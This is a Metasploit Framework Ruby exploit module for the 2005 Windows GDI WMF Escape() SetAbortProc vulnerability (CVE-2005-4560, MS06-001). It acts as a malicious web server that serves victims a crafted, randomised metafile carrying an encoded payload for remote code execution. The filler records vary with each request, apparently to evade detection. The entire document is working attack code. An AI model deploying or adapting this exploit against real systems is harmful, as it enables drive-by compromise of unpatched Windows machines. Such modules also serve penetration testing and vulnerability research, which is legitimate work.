## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote # # This module acts as an HTTP server # include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution', 'Description' => %q{ This module exploits a vulnerability in the GDI library included with Windows XP and 2003. This vulnerability uses the 'Escape' metafile function to execute arbitrary code through the SetAbortProc procedure. This module generates a random WMF record stream for each request. }, 'License' => MSF_LICENSE, 'Author' => [ 'hdm', 'san ', 'O600KO78RUS@unknown.ru', ], 'Version' => '$Revision$', 'References' => [ ['CVE', '2005-4560'], ['OSVDB', '21987'], ['MSB', 'MS06-001'], ['BID', '16074'], ['URL', 'http://www.microsoft.com/technet/security/advisory/912840.mspx'], ['URL', 'http://wvware.sourceforge.net/caolan/ora-wmf.html'], ['URL', 'http://www.geocad.ru/new/site/Formats/Graphics/wmf/wmf.txt'], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 1000 + (rand(256).to_i * 4), 'BadChars' => "\x00", 'Compat' => { 'ConnectionType' => '-find', }, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP/2003/Vista Automatic', { }], ], 'DisclosureDate' => 'Dec 27 2005', 'DefaultTarget' => 0)) end def on_request_uri(cli, request) ext = 'wmf' if (not request.uri.match(/\.wmf$/i)) html = "One second please..." send_response_html(cli, html) return end # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the compressed response to the client send_response(cli, generate_metafile(p), { 'Content-Type' => 'text/plain' }) # Handle the payload handler(cli) end def generate_metafile(payload) # Minimal length values before and after the Escape record pre_mlen = 1440 + rand(8192) suf_mlen = 128 + rand(8192) # Track the number of generated records fill = 0 # The prefix and suffix buffers pre_buff = '' suf_buff = '' # Generate the prefix while (pre_buff.length < pre_mlen) pre_buff << generate_record() fill += 1 end # Generate the suffix while (suf_buff.length < suf_mlen) suf_buff << generate_record() fill += 1 end clen = 18 + 8 + 6 + payload.encoded.length + pre_buff.length + suf_buff.length data = # # WindowsMetaHeader # [ # WORD FileType; /* Type of metafile (1=memory, 2=disk) */ rand(2)+1, # WORD HeaderSize; /* Size of header in WORDS (always 9) */ 9, # WORD Version; /* Version of Microsoft Windows used */ ( rand(2).to_i == 1 ? 0x0300 : 0x0100 ), # DWORD FileSize; /* Total size of the metafile in WORDs */ clen/2, # WORD NumOfObjects; /* Number of objects in the file */ rand(0xffff), # DWORD MaxRecordSize; /* The size of largest record in WORDs */ rand(0xffffffff), # WORD NumOfParams; /* Not Used (always 0) */ rand(0xffff), ].pack('vvvVvVv') + # # Filler data # pre_buff + # # StandardMetaRecord - Escape() # [ # DWORD Size; /* Total size of the record in WORDs */ 4, # WORD Function; /* Function number (defined in WINDOWS.H) */ (rand(256).to_i << 8) + 0x26, # WORD Parameters[]; /* Parameter values passed to function */ 9, ].pack('Vvv') + payload.encoded + # # Filler data # suf_buff + # # Complete the stream # [3, 0].pack('Vv') + # # Some extra fun padding # rand_text(rand(16384)+1024) return data end def generate_record type = rand(3) case type when 0 # CreatePenIndirect return [8, 0x02fa].pack('Vv') + rand_text(10) when 1 # CreateBrushIndirect return [7, 0x02fc].pack('Vv') + rand_text(8) else # Rectangle return [7, 0x041b].pack('Vv') + rand_text(8) end end end